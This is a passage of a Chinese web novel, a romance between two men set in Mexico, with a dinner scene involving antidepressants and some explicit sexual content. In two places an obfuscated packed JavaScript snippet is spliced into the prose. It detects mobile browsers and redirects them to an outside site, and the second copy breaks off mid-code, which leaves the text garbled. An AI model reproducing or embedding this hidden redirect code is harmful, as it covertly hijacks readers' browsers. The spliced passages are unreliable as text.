戚时无所谓地耸了耸肩:“你哥神经病不是一天两天了,你又不是不知道,他还把我房门给锁了,非让我给你送一趟衣服,说是送完衣服就给我解锁,我寻思着又不远,茉莉那边机票都帮我买好了,我跑一趟就跑一趟呗。” 何湛程骤然坐起,抬掌一拍桌子,恼怒道:“艹!我就知道他靠不住!” 戚时嘴角微翘了一下,随即又抿平,转身就走。 “站住!”何湛程瞪着他背影:“你不是来伺候我的吗,我让你走了吗!” 戚时扭头答:“少爷恕罪,我赶飞机。” 何湛程沉眸盯他几秒,说:“你就这么急着走?你中午那会儿的决心呢?呵,才半天就放弃了,戚时,你是真玩儿不起,也真让我瞧不起!” 戚时笑:“对啊,我就是玩儿不起,对何三少你这样风流的人物,我下再大决心也是自讨苦吃,何必呢?我又不缺对象,干嘛非吊死在你这一颗树上,而且,你也没什么值得我稀罕的。” 何湛程眼神一黯:“你今天才说过你爱我。” 戚时一愣,转身问他:“什么?” 他什么时候对何湛程说过“我爱你”了? 何湛程也突然一慌,自知失言,生怕戚时发现手表不对劲,连忙找补:“梦里!你在梦里说的!” 戚时态度坚决地否认:“不可能!” 他这种钢铁般的男人,绝不会对任何人说“我爱你”这种肉麻到令人起鸡皮疙瘩的话,他连“我喜欢你”都说不出口,这两句常用情侣句,也根本不在他戚老二的词汇表里。 他对人表达喜欢的方式只有一种,那就是操! 爱之愈深,操之越切,简单粗暴,深入灵魂! 他有足够的本事让对方爽得恨不得一辈子都对他死心塌地,他有绝对的实力让对方快乐到连灵魂都开始瑟瑟颤抖,他听过数不清的身下人放|荡痛快的叫|床声,无论是多么矜持自重的体面人,一旦到他的胯|下承欢,都会不自觉依偎在他胸前,面含羞赧地对他诉说爱意。 所以他从不对人表白。 他一般都是搞完了别人,靠在床头,燃上支烟,等别人主动爬过来对他表白。 何湛程不知道戚时素来的流氓式做派,他只感受到对方一句斩钉截铁的“不可能”,那样发自内心的、果断否认爱他的真实反应,突然令他整个胃都绞痛起来。 何湛程安静异常地望着戚时,面无波澜。 他其实很想吐,又怕一不小心把整颗心给吐出来,戚时肯定会笑话死他,然后像个志得意满的强盗,快快乐乐地把他的心给捡走,从此再也不还给他。 他才不会让戚老二偷走他的心,何湛程想,他得先把对方的心偷走才行。 只片刻,何湛程面色缓和,垂下头,扑闪几下睫毛,态度软和下来。 自己也分不清到底有几分真心,几分假意,只是话语令人听起来难过又清晰: “原来,你不爱我啊。” 戚时神色一紧,强忍着想跑过去将人抱住塞怀里的冲动,冷冰冰道:“什么原来后来的,‘爱’能当饭吃么?能当钱花?你先给老子把衣服穿上。” 何湛程突然就犯了倔劲儿,扬手狠狠把衣服摔地上:“我不穿!” 戚时眉头一蹙,呵斥道:“别闹!马上降温了,穿上!” 何湛程瞪他一眼,见人神色紧张,忽地又哼一声。 他慢悠悠躺回去,甩对方一个赤裸脊背,闭上眼说: “我不会穿衣服,你这么着急,那你就帮我穿啊。” 原以为会听到拒绝,没料身后人居然就这么快步走来了。 何湛程满意地听到戚老二蹲在他背后捡衣服的动静,听那人缓缓走进,俯下身,整个人好闻的气息倾泻而下,胸腹如乌云般笼罩在他身上,粗糙指尖落下,一点点摸过他小臂,温柔地捏住他指尖,一根根移开,再然后—— 再然后一把夺走了他的手机! 何湛程霍然睁眼坐起身,仰脸瞪他:“你干什么!” “你爱穿不穿,不穿拉倒!”戚时将他手机揣自己裤兜,一扬眉:“你手机我没收了,你今儿晚上就在这儿过夜吧,冻死活该!” 何湛程一咬牙,他这下确信戚老二是真不爱他了。 狗日的,平时装得太贴心,让他差点就忘了戚时亲口承认过他俩只是玩玩而已! “衣服给我!”何湛程臭着脸站起身,“我自己穿!” 戚时面带微笑地将衣服递过去,看少爷忍辱负重自己一件件穿着衣服,颇有些我家有儿初长成的欣慰。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15409049|168801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>这才对么! 为一个人好,就不能惯得他不像话。 他可不想再经历一遍被人拿玻璃台灯砸落满脸,被人吃抹干净完扭头跑路,自己还不得不跨国追人的倒霉事了。 退潮了,夜风起,天空亮起几颗星星,周遭游客渐稀。 戚时绕过桌子,拿起自己那堆纸条,整齐排列摆在何湛程空荡荡的桌边,说:“我赢了。” 何湛程提上裤子,啪的一声震天响,一脚踩在桌边,弯腰穿袜子,头也不抬道:“滚。” 戚时盯着他:“你要不要跟我一起走?” 何湛程心中一动,问:“理由?” 戚时神色认真,语气嚣张至极:“老子坐办公室每天净利润上百万,晚上出去应酬喝酒签的都是上亿的合同,现在吃饱了撑得跑来你这儿拿人,光误工费就五六个亿,你答应过要给我刷马桶,老子不能白折腾。” 何湛程立刻就被触怒了,抓起那堆纸条哗啦啦全摔人脸上。 “去死!去死吧你!一身铜臭味!滚去死!!” 戚时忍住笑意,板着脸,冲何湛程举起手机,亮出自己那张其实已经退完款的国际航班截图。 何湛程瞬间安静下来。 他凝眸盯着那张今日付款的,后天晚上十点墨西哥城直飞燕京的头等舱机票,确认戚时真的要走了。 心里慌慌的,他抿了抿唇,不知该说什么好。 “两天,”戚时收回手机,语气不容置喙,“你考虑清楚到底要不要跟我。” “要是……我不跟呢?” “不跟拉倒,就当我从没遇见过你,反正我记性也不好,过个一两个月就忘了。” “原来我在你心里,是那种一两个月就能够忘掉的人。” “呵,这已经算看得起你了,要放别人身上,老子两三天就忘干净了。” 何湛程胸腔登时涌起无限的失意与落寞。 这是他人生首次败北,输得还这么不甘心。 不,他转念一想,不应该是他输。 戚时能用一张几万块的破机票威胁他离开,他何湛程难道就不能使点手段把人留下么? 何湛程忽地朝人走过去,双臂抱住对方的腰,埋脸在戚时颈窝蹭着。 “二哥坏。二哥,你不要你的崽儿了吗?” 这一下犹如五雷轰顶,十万伏特高压电流劈过全身,全身血液都沸腾起来!戚时被撩拨得浑身冒烟儿,骨头都酥了,一颗心脏狂跳,满脸涨得通红。 他猛地拥住怀里人,两臂控制不住大力,将他的乖崽狠狠揉进胸膛,简直疼惜到不能自己。 声音也激动得颤抖:“要!当然要!崽儿你乖乖听话,二哥为你死了也值!” 何湛程耳根也有点泛红,他不知这大傻个儿吃什么耗子药了,怎么突然神经成这样。 他抬起头,冲人眨了眨眼:“那——你要不要亲亲我?” 戚时犹豫不过片刻,缓缓说了句“好啊”,再也装不下去了。 他眼眸深深,仔细望着某个对自己使坏的机灵鬼,忍不住一笑,低头温柔地吻了下来。 他根本就招架不住这个人。 何湛程嘴角勾起得意的笑,闭上眼,双臂游离往上,勾住了戚时脖颈,伸舌回吻。 懒得细究这个吻是不是假戏真做,他只想沉浸地享受这阔别已久的暧昧氛围。 我们应该谈一场恋爱的。 二人在海边夜风里紧紧相拥接吻,脑子里不约而同想到这句话。 41.第41章 别墅二楼露台私人浴池的最北端,树梢房檐挂着璀亮的透明水母灯,纱幔晃动,餐桌洁白,闪亮银座烛灯摆成一排,一尘不染的刀叉盘杯,酒香醉人。 仨人相对而坐,围着长桌共进晚餐。 何湛程与戚时背对大海,携手并排而坐,何棣坤则独自面朝大海,春暖花开。 何棣坤深知,如果自己不在,这将会是他三弟和三弟夫的一场浪漫烛光晚餐,但他偏要来捣乱,他非得凑上来仔细瞅瞅,看这俩八竿子打不着的京城总裁和沪上纨绔是怎么好上的。 “来,程儿。”戚时熟练切好牛排,把自己那份餐盘推给身旁人。 “谢谢二哥!”何湛程笑着接过, 何棣坤立刻放下刀叉,突然一副鬼迷日眼的死相,夹着嗓子,模拟对面俩人的对话。 “来~程儿~” “谢~谢~二~哥~” 戚时:“……” 何湛程:“……” 戚时不客气地从何棣坤盘子里叉走半条澳龙,放到何湛程盘子里,说:“程儿,多补点蛋白,对身体好。” 何湛程也自然而然地挥舞刀叉,叉走何老二盘子里剩下的半只澳龙,放到戚时盘子里,冲人甜甜地笑:“二哥,你也补补。” “谢谢程儿。” “不客气!” 何棣坤守着他只剩配菜的空荡盘子:“……………………” 何棣坤不满意地瞪何湛程一眼:“你叫他二哥,叫我什么?” 何湛程津津有味地嚼着肉,随口道:“叫你名字呗,你又不是没名字。” 何棣坤冷哼一声。 这个见色忘哥的臭小鬼,白害他高兴一场! 手机震动几下,何棣坤低头看微信,回复信息时,不留意刷到老三和戚时的消息栏,讶然抬头:“你俩换头像了?” 戚时和何湛程对视一笑,不约而同“嗯”了声。 傍晚二人拥吻过后,何湛程脑子里突然产生想跟戚时谈恋爱的想法,张口之际,猛然想起中午戚时这个老畜生想要睡他的时候,口无遮拦嘲讽他的那些话,何湛程心里窝火,不想再在戚时面前掉身价,于是没明说,只是暗示性的,对戚时提了一句:“我们要不要换个差不多的头像啊?” 他之前从裴玉口中得知,戚时的微信头像是那位蒋灵蒋老师帮拍的,虽然照片是戚时本人,那位蒋老师并没有露脸,但何湛程每次看到这张头像,都不免想起照片背后的渊源。 初时不甚在意,日子一长,渐渐就生了颗嫉妒心,越看越不是滋味。 戚时想也没想就同意了。 答应速度之快,让何湛程很难不去在意,戚时这个神经粗条的傻大个儿到底懂没懂他的意思。 何棣坤也笑,点开他家老三和弟夫的头像仔细查看。 预料之中,这是一对情侣头像,而且拍的全是同一个人、同一种姿势。 何湛程背影,与何湛程的正面。 戚时到底是集团总裁,列表商业伙伴众多,身份多有不便,于是举着手机,仔细找好角度,在海边拍摄了何湛程坐在沙滩上、仰脸望着远天一片紫红晚霞的青春背影。 何湛程无业游民一个,列表净是些三教九流的人物,头像随便换。 他上传的是自己的正面照—— 深红卫衣,漆黑长裤,顶着一头被风吹得有些凌乱的蓬松鸡窝头,脚踩一双小三万的红色AJ,皮肤清透,亮眸若繁星。他姿态很松弛地塌着肩,盘着大长腿,怀抱一堆五颜六色红酒果酒香槟和啤酒瓶,右耳上别着一小朵明艳的向日葵,冲镜头灿烂地笑着。 但因为是面对着戚时的镜头,何湛程有些放不开,笑容大方归大方,细微表情处,仍能看出几分不自然的腼腆。 这破天荒的害臊样儿。 何棣坤啧一声,私下偷偷发消息给戚时,说,多谢弟夫让他开眼,他家老三走哪儿都跟个随时会爆炸的手榴弹一样,外表乖顺,内心腹黑,他还从来没见过老三对谁的镜头脸红过。 戚时也得意。 他拍这张照片时,镜头里的人望着他笑得开心,仿佛何湛程的眼里、心里只有他一个人,他心动痴迷到不能自己,一时爱欲横生,恨不得立刻将人抱在怀里不停地亲吻,将人吻到山穷水尽,将人吻到地老天荒,想把何湛程彻底变成他的人,然后一辈子也不松手。 他想跟这个小他七岁的小孩儿谈恋爱。 很想很想,特别想! 心中一旦产生这个念头,愈燃愈烈,再也按捺不下去。 可犹豫了半天,他们连情侣头像都换上了,一路并肩而行往回走,何湛程在中途还主动牵了他的手,悄悄地与他十指相扣,他装作没发觉,脸别过去另一边,始终没敢开口。 他怕这位滥情成性的少爷又是三分钟热度,就像上次在酒店门口的车里,那样随便地敷衍他。 上次他没爱到深处,尚能自我调节,想着大不了事后好聚好散,反正他把人睡到就成。 这一次……他真的禁受不起了。 “Cheers!” 哥仨兴头上来,举杯相碰,各自仰头一饮而尽。 何棣坤今晚上心情不错,跟对面俩人商量,要不要夜里叫点人来开party? 戚时果断否决,说何老二如果愿意野,就自个儿去外边儿野去,不要把乱七八糟的人带到家里来,影响太坏。 何棣坤哼一声,说如果连自己家都不能随便玩,那家就不叫家了。 戚时不甚赞同,说在他的观念里,他家只能是他和他哥两个人,多出来的任何人都是外人。 再刻骨铭心的爱情,也绝无可能超过亲情。爱情总会贪图点儿对方什么,或外貌,或金钱,或着一段可以慰藉自己孤独的陪伴,亲情则是高尚的,无私奉献的。 包括他哥宠上天的那个男绿茶,他本来没那么讨厌他,只是因为他哥某天突然把人作为正式对象带到了家里住,戚时立刻就觉得那货没安好心。 那货一进他家就破坏了整个房子的祥和气氛,他哥还因此把他给赶了出去,他简直越看,越觉得对方面目可憎! 戚时说,他还以为何家是很传统的中式家庭,没想到何家哥仨一个比一个风流潇洒,而且性取向成谜,情人无数,可男可女,倒很赶新潮呢。 何老二与何老三对视一眼,不禁笑了起来。 何老二对戚时说,他们家的确是传统中式家庭—— 非常合理的、三妻四妾式的中式传统家庭。 戚时轻啧:“那不是传统中式家庭,那是旧社会封建家庭。” 何湛程冷哼一声,抬指敲两下桌子:“少搁这儿装清高,说得你那些情妇都跟摆设似的。” 戚时立马解释:“我可从没把她们带到家里来过!而且自从……咳,自从……自从……咳咳!我就都跟她们结束了。” 何湛程挑眉,正想问一句“那你为什么带我去你家住”,何棣坤突然想起什么事,一拍脑门,说“我差点忘了”,从裤兜摸出两个药盒,朝他们推了过来。 推向戚时。 何湛程愣了下,眼疾手快抢先一步,从戚时手底下夺走。 “盐酸氟西汀胶囊和佐匹克隆片?”他一眼扫过药盒,扭头皱眉问戚时:“你为什么吃这个?” 戚时还没答,何棣坤豪爽一挥手:“你别大惊小怪的,早上弟夫说,他来墨西哥的时候忘记带药,都失眠一周多了,让我找人给他开两盒常吃的,放心吧,就纯安眠药,他吃的剂量也不大,没大事儿!” 何湛程眉头拧得愈紧,瞪他一眼:“你傻缺吗?你不知道氟西汀是抗抑郁类的药?” 何棣坤诧异,扭头看向戚时,戚时面上没什么表情,沉默异常。 何棣坤看出不对劲,连忙对何湛程举起双手:“你别这么看我啊,关我啥事儿!你哥我这么开朗阳光,向来只对吗|啡和芬|太尼这种重伤药有了解,你该问他才对啊!” 何湛程再次将目光投向戚时。 戚时很自然笑了出来:“我也不知道这是抗抑郁类的药,你看我这种人像是懂药品的么?成年人失眠是常有的事儿,医生开什么我就吃什么,反正剂量又不大,对我没什么影响。” 何湛程半信半疑:“真的?” 戚时不答,反问他:“你呢?你又怎么了解这些的?” 何湛程也笑:“你猜我为什么退学?” 戚时讶然:“真的假的?你这种吃喝不愁全家惯着的大宝贝,你还有烦心事?” 何湛程面无表情,甩人一句“你管得着么”,然后,将高脚杯里倒满红酒,把手里的两盒药拆了,动作利落地一颗颗、一粒粒全挤进杯子里。 三十秒,装满浓丽液体的红酒杯里泡满胶囊与药片。 戚时和何棣坤忍不住惊道:“你干什么!” 何湛程神色一凛,手指半威胁式地点了点何棣坤,说:“你,以后不准再给他提供这类药。”又指向戚时,命令道:“你,往后不准再吃这种药。” 戚时紧抿着唇,没吭声,何棣坤倒同情起弟夫来,忍不住帮人说话:“那他在这边失眠怎么办啊?” 何湛程一下子又换了副面孔,一把挽住身旁人胳膊,说:“有我在啊!我都能戒掉,他为什么不能戒掉?” 何棣坤恍然大悟,叉了口半烤焦的干西蓝花进嘴里,嚼嚼嚼,评价道:“难怪你这两年这么暴躁,原来是没吃药。” 何湛程在桌子底下狠踹他一脚:“你少说两句废话死不了!” 然后转头看向戚时,笑道:“二哥,你这几天就先跟我住吧,怎么样?” 戚时想着,有失必有得,他有了何老三,还要什么破安眠药? 立马点头:“行!” 何棣坤翻了个大白眼,指尖晃荡着钥匙:“你们这几天既然要住一起,那弟夫的房门我还要不要解锁啊?” “废话!”何湛程瞪他一眼:“你说呢!办事不力,还好意思问?” 何棣坤大力一点头,行,他懂了。 非常有眼色的别墅主人,凌晨十二点把家让给暂住的弟弟和弟夫,一个人开着辆骚紫色的兰博基尼,风驰电掣马不停蹄跑到另一座城市的独栋公寓里开party去了。 管家、园丁、厨师、佣人们也都在一楼和后院居住,除非主人呼唤,否则夜晚绝不上楼来。 难得的二人世界。 何湛程擦着头发从浴室出来,戚时正背对着他关露台门,双臂倏地合拢,稳稳拉上帐子和窗帘,整间地中海式装修风格的清新卧房便蒙上一层隐秘的暧昧。 戚时余光注意到他,转身朝他走来,双手搂住他腰,低头凑在他脖颈间嗅了嗅,嗓音喑哑: “程儿,你真香。” 何湛程伸手轻推他一下:“少来,快去洗澡,不然才不给你闻。” “那你亲我一下?” 何湛程笑了声,倾身过去,在戚时嘴角吻了一下。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15412139|168801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 戚时等人吻完,逮住对方正撤回的嘴唇狠狠嘬了两口,嘬完又啃,力道愈重,欲罢不能,险些将人的唇皮咬破,何湛程疼得不行,立刻大力推开他,一边抹着嘴上口水,一边没好气地瞪他:“有病!” 戚时控制不住,真跟犯病一样,趁人擦嘴,又欺身压过去,在何湛程的眉心吻了一吻。 “晚上不准再喝酒了,去,把桌上那杯热牛奶喝了。” 说完,浪荡着步子,走去里间浴室洗漱去了。 何湛程瞥一眼放在床头柜上的纯牛奶,嫌弃又无语。 戚时动不动就要求他多吃饭、多吃水果蔬菜补充维生素、多喝牛奶多补钙,生怕他长不高似的。 而且,他心想,戚老二成天寻思着睡他,按理是最不该希望他长高的人才对,他如果长得和戚时一样高,在床上反而更不容易被控制了。 所以戚时干嘛总这么在意他的身高? 何湛程望着那人渐掩入隔间墙壁的高大背影,疑惑好奇的目光很快又转变为倾慕与欣赏。 戚时穿着件松垮的深灰棉质短袖,下身薄尼龙布料的深棕色五分短裤,这两件衣服都是他的,何湛程嫌老气,从没穿过,搭在戚时身上倒挺帅,很有男人韵味。 他倒不是嫌戚时年纪大,只是单纯觉得,这可真不愧是他何老三看上的男人,连穿破烂都帅得那么炸裂苍穹。 戚时保养的好,皮肤白,体格强健,身上永远带一股子迷人致命的劲儿,只是此人过分高挑的身材与周身散发出的强大气场,沧桑眉间浮现出的长者阅历,很容易出卖他的真实年纪。 如今,戚时一夜之间剃了头发,换了舒适轻便装,左耳后一道酷炫的“Z”字型闪电,浓眉飞扬,桀骜不驯,完全是个热血少年,哪里还见着半分老成持重的影子? 何湛程欲念上来,情难自禁,趁人洗澡,忙解开浴袍,一手撑着沙发角落的墙壁,满脑子描摹着戚时的帅脸和那副胸腹肌饱满的身体,还有当初二人在酒店时,那人报复性地赤|裸|裸勾在他腰间的、肌腱有力的大长腿……何湛程呼吸急促起来,额头渐渐冒出薄汗,放纵着自己爽了两发。 等戚时在浴室吹完头发,急急忙忙小跑进卧室,意图与他家少爷进行更深一层的交流时,少爷已然舒舒服服地躺在被窝里,一脸安详地准备进入梦乡了。 戚时老司机了,鼻子灵光得很,立刻察觉屋子里气味不对劲,再低头打量几眼某位饱食餍足满面红光的何某人,脸色登时变得阴沉可怖起来! 不管不顾一把抓起将何某人的衣领子,将人从被窝里拎起来悬在半空,饱受屈辱的咆哮声如火山爆发,直冲睡眼惺忪的少爷脸上狂怒喷射出来: “何湛程!你他妈的几个意思啊!瞧不起老子是不是!!” 何湛程被吼得心脏狂跳眼冒金星,双耳短暂性失聪,好半响,他缓过劲儿来,一脸懵逼地问:“怎么了?” 戚时简直气不打一处来,飞快伸手过去掐了把何老三的鸟,大嗓门吼:“你还问!你说怎么了!!” 何湛程一个哆嗦激灵,忍不住嘶了口气,目光上下打量,见面前这位一丝.不挂的裸男帅哥急得面红耳赤,随即了然一笑,“哦”了一声。 裸男帅哥对他恨得牙痒痒:“你故意的吧!你是不是在找死?!” 何湛程眨眨眼:“我怎么了?我就是喜欢打飞机啊,而且我什么时候说要和你搞了?” 戚时气焰登时灭掉大半。 一甩手,将人扔回床上,唰地一下背转过身,守护住重要部位,扭头埋怨:“那、那你说让我和你一起住?” 何湛程抛给他一套家居服当睡衣,淡笑:“你还真是傻得可爱。” 戚时匆忙三两下穿好衣服,被人盯得浑身不自在,心里也嫌弃自己丢人,立马抬脚离开房间。 “那我随便找间客房睡吧,你早点休息。” “又是‘早点休息’,一碰上事儿你就让我‘早点休息’,你自己呢?你怎么不多休息休息?动不动就要逃跑,你这个胆小鬼,你不是集团老总吗?” 何湛程拍拍旁边枕头,招呼他:“过来,我都帮你暖好被窝了,你不是睡不好么,夜里失眠可怎么办。” 戚时心里愤愤,瞪他一眼:“那也跟你没关系!” “怎么会没关系呢?”何湛程笑,“你如果失眠睡不着,我可是会心疼的。” 戚时盯着他,眼神一黯:“不,你总是这么说,可你根本不会心疼任何人。” “是——真——的!”何湛程无奈叹了口气,朝人张开双臂,哄道:“快点儿,过来,我知道失眠不好受,但现在你有我呢,我抱着你睡。” 戚时觑他一眼。 然后斜着身子,试探着往床边挪了挪步子。 何湛程大力一拍床,催促:“快点儿啊!” 戚时蹭地一下蹿上床,两下蹬掉拖鞋,拱着一颗刚吹干的寸头就钻进被窝里。 他从对方的床尾钻进去,黑漆漆的被子里,他缓慢探索,沿着一对儿雪白脚踝、一双修长直腿,伸手扯掉浴袍带,将脸埋进那人的耻|骨处,贪婪地攫取。 掌心摩挲过一截劲瘦腰腹、性感的肚脐、起伏的胸膛……牙齿轻轻咬磨过**,直到吻到那人锁骨,无尽绵延的讨好才终于停下。 他整个人趴在何湛程身上,抬起头,两眼直勾勾地望向早已愣住的某人。 “湛程,如果我生病就能让你心疼我,那我干脆就不要治好了吧。” 42.第42章 那句话其实令何湛程很不安,但他不准备再问戚时到底怎么了。 按照戚时独断专行的强势做派,除非人家自己说,否则他问了也是白问。 何湛程一整夜没睡,瞪着天花板思考了大半宿,凌晨三点,找他大哥要到了戚铭的联系方式,准备有空去燕京上门拜访一下那位近年来深居简出的影帝。 虽然他也不懂自己为啥要为一个差点强|暴了他的狗畜生做到这种程度,但他就是这种想干什么就立刻干什么的高效率执行派。 而某位自称严重失眠的人,一整夜趴在他怀里睡得像头猪,大半夜还打鼾,一边埋头拱着他胸口,一边含糊呓语,净是些的“程儿,舒服么”、“腰抬起来”、“好香,给二哥闻闻”、“不是想健身么,以后二哥每天都这样帮你练屁|股怎么样”……无穷无尽的荤话。 何湛程听得满脸通红,深夜体温直线飙升三十九度八,想去浴室冲凉水澡,又怕把好容易睡着的人给弄醒。 一个惯纵风月的老流氓,因为一个听起来很虚无缥缈的“情”字,硬是忍了六个多小时,何湛程觉得该吃药的人是自己才对。 早上戚时迷迷糊糊地醒来,癞皮狗似的赖在他怀里,对他道了句“早安”,何湛程腹下憋着火儿,没吭声理他,戚时不满地又爬上来亲他嘴角,刻意压低的烟嗓勾引他,问他睡得好吗,何湛程一脚把人蹬开,扔下句“我尿急”,急匆匆跑去冲凉水澡。 “一起洗!”戚时见缝插针就要挤进浴室。 “今天不行!”何湛程砰一声大力关上了门。 “今天不行,哪天行?” “明天晚上。” 何湛程早已下定决心,明天晚上戚时上飞机前,不管什么手段,他非得缠着人留下不可! 门外,戚时瞬时明白过来,强忍住笑声,冲人回了句“好!” 别说后天晚上,只要能把人睡到手,他一整年都有时间陪兔崽子玩儿。 何棣坤的管家是个身材削瘦、半白头发打理得一丝不苟的英国人,叫安德森。 安德森深白皮肤,淡蓝眼珠,永远整洁的黑色西装与锃亮皮鞋,笑容得体,彬彬有礼。 戚时和何湛程洗漱好后,结伴下楼吃早餐,安德森告诉他们,何棣坤这两天都在外地忙,要等明天傍晚才回来,两位如有什么需要,尽管找他。 戚时没听太懂安德森这一口流利的、奇快无比的英国腔,默不作声掏手机打开翻译软件,刚按了语音输入,何湛程就端着盘子坐到他旁边,逐一字句帮他解释。 “就是说,这两天,咱俩就是这栋别墅主人的意思。” 何湛程将餐盘里的煎三文鱼切好,推过去换过戚时那份,笑脸问着:“你昨天下午不是说最近墨西哥菜吃腻了吗,我晚上让他们做中餐怎么样?炒几个菜,炖个红烧排骨汤鱼汤什么的,嗯,再腌个卤味吧,我记得你喜欢吃咸鲜口的。” 戚时诧异望他:“你怎么知道?” 何湛程一扬眉:“我怎么不能知道?” 戚时笑起来了,伸手捏了捏他的脸蛋,简直对他爱得不行。 “从哪儿打听我这么多事儿?裴玉说的?” “谁说的不重要,重要的是你开不开心。” 何湛程一笑,扭过头,对安德森安排下晚上的菜单,又交代了句,他们今天要出门,晚上回来可能要稍晚些,让厨师把控好时间。 身旁人发音很清晰,戚时能听懂大半,皱眉问:“出门?你又想去哪儿鬼混?” 何湛程轻哼一声:“不鬼混,和你约会,不行么?” 戚时点头:“这个行。” 何湛程端杯子喝了口咖啡,提议道:“昨晚上我睡不着,闲着没事儿买了两张机票,待会儿吃完饭咱们去瓜纳华托玩儿吧,你好容易来一趟,我给你当导游啊。” 戚时清清嗓,试探问:“咱们两个,还是?” 何湛程没好气地凑过去,也伸手捏了捏他的脸蛋,一字一顿地强调:“两、张、机、票,咱、们、两、个。” 戚时挠了下头,笑说,在他的概念里,“两张”等于“两张及两张以上”。 何湛程翻了个大白眼,问戚时学生时代数学考多少分,戚时仔细回忆了下,说,他没努力学习之前,数学均分二十五。 “那努力学习之后呢?” “一百三。” 何湛程咂舌,寻思着戚时当初为了他哥真有够拼的,正打算羡慕嫉妒恨一下呢,突然想起戚时之前似乎也为了他学过物理和书法呢。 虽然物理门槛较高,令戚大总裁铩羽而归,但书法能看出是认真练了,而且效果显著。 本来一副难登大雅之堂的狗爬丑字,在不到短短两周时间,就变成了满纸龙飞凤舞的豪迈大字,何湛程每每一想起,都要佩服一下戚时在学习方面惊人的爆发力。 综合戚时那些前任,何湛程不难猜出,戚时对一个人的好感度大概率取决于对方的聪明程度;同样的,戚时对自身的好感度,也取决于戚时本人是否能顺利获取自己拥有的某种能力。 如果进展顺利,就凭戚时张狂外露的性子,肯定会大肆自恋臭屁一番; 反之—— 何湛程心想,像戚时这么敏感又执拗的幼稚鬼,恐怕也会在不堪负重时感到压抑与痛苦。 不禁担忧,十七岁的戚时是经历过多少次这样反复的极端情绪,才终于踏入了燕京体育大学的大门?一个提起念书就眉头紧锁的差生,那几年又是怎样压抑着狂放性子,老实本分地在大学里追名逐利,最终成为优秀硕士毕业生的? 用完早餐,二人上楼换衣服准备出门,何湛程蓦地想到这一层,踏在楼阶上的脚步一顿,忽地回头问:“你做娱媒行业是半路出家吧?这是你喜欢做的事么?” 戚时一愣,仰脸望着楼阶上的人,有点没反应过来。 他完全没想到何湛程会突然问他这种问题。 从来没人问过他这个问题。 他的露水情缘们不会关心,他整日为前途奔波的下属们不会在意,他的故旧同学、那些跟他好到可以穿一条裤子的哥们儿,也因为与他身份有别,毕业后纷纷主动与他保持距离,和他渐行渐远。 这个位置是他哥想发设法给他留出来的,位高权重,可以说是现成的印钞机,他哥也不认为他有拒绝的理由。 他从小就没什么大志向,除了吃喝玩乐就是摆烂睡觉晒太阳,而他哥是一个完全的事业狂魔,人近中年,急需一个心腹之人充当左膀右臂,所以,尽管这个圈子里纷纷扰扰,他出于对他哥的义务与责任,想也不想就一头扎进来了。 幸而只要他愿意,大部分事他都能做好。接手擎荣集团后,他事业上还算顺风顺水,即便经常在夜里烦躁到失眠,每每在外应酬,习惯性装出一副老行家的样子,这令他感到自己一颗年轻蓬勃的心渐趋衰败腐烂。 少年时代喜欢听的音乐不知何时变得寡淡乏味,过去那些令他激动昂扬的摇滚曲调,如今面无表情着听完也不会有所触动;和相中的女人们去高档餐厅吃饭也不再热衷于认真打扮,秘书给他什么,他就穿什么;出门旅行永远是万年不变的冲锋衣配运动裤,早上起床胡子都懒得刮,他喜欢去海边,他的心情和苍茫海水一样沉沉浮浮。 无数次想要逃离,可世界之大,他不知自己该逃往哪里。 他的确没有其他人生目标可以奋进,他便也认为自己理所应当待在这个位置上。 可何湛程却问他喜不喜欢。 他喜欢么? 当然不。 “这世上大部分人不是仅凭一句‘我喜欢或者不喜欢’活着的,我也不例外。”戚时回答。 这大概是目前为止,何湛程听到过戚时说过的最有哲学意味的话。 他了然,明白戚时这种容易被亲情羁绊住的人,委曲求全都是为了报答他哥。 可,之前又是谁在饭桌上大声赞扬亲情是高尚的、伟大的、无私奉献的来着? “行,我知道了。” 何湛程返回去,低头牵过戚时的手,说:“不过在我这里,你可以成为少部分的例外。” “什么意思?” “嗯……”何湛程也有点烦躁起来,抓着头发思量着,说:“我也得再想想呢,所以明天再告诉你。” “好。”戚时笑起来,揽臂搂住他的腰,在何湛程额头落下一吻。 不管这位没谱的小少爷想什么办法,起码他在此刻感到非常的幸福。 戚时觉得他就像一只陷入泥沼多年的大象,何湛程则是一只不经意间路过他的兔崽子,他们只是短暂的相处数月,兔崽子看上了他,就要试图将他从泥沼中救出来,可他明知兔崽子是个三分钟热度的人,早晚有一天会对他心生厌弃,并再次将他推入泥沼之中,他还是控制不住自己对这个兔崽子动心。 一而再,再而三,明知是梦,不愿醒来。 大概当下这一切就是梦,何湛程才会想要带他去一个充满糖果色的、五彩斑斓的梦幻童话小镇去旅行。 瓜纳华托州位于墨西哥高原的南部,从坎昆转机到莱昂机场,再坐车进入市区,预计费时五个小时。 何湛程从何棣坤车库开了辆改装过引擎和大涡轮的超跑,载着戚时一路高速狂飙去机场,同时让安德森安排在瓜纳华托的接待人提前去目的地等待接机。 高效率无缝衔接的旅途,仅耗费三个半小时,戚时在呼啸的疾风中只顾得上紧紧捂他用来遮寸头的棒球帽,都没怎么和何湛程聊天,更无暇欣赏沿途风景。 接待人是来自中国某个旅行社驻墨西哥分部的华人,开着低调奢华的奔驰商务车,将他们送到市区后就离开了,半句多余闲话都没有,一点都不像是做旅行社的人。 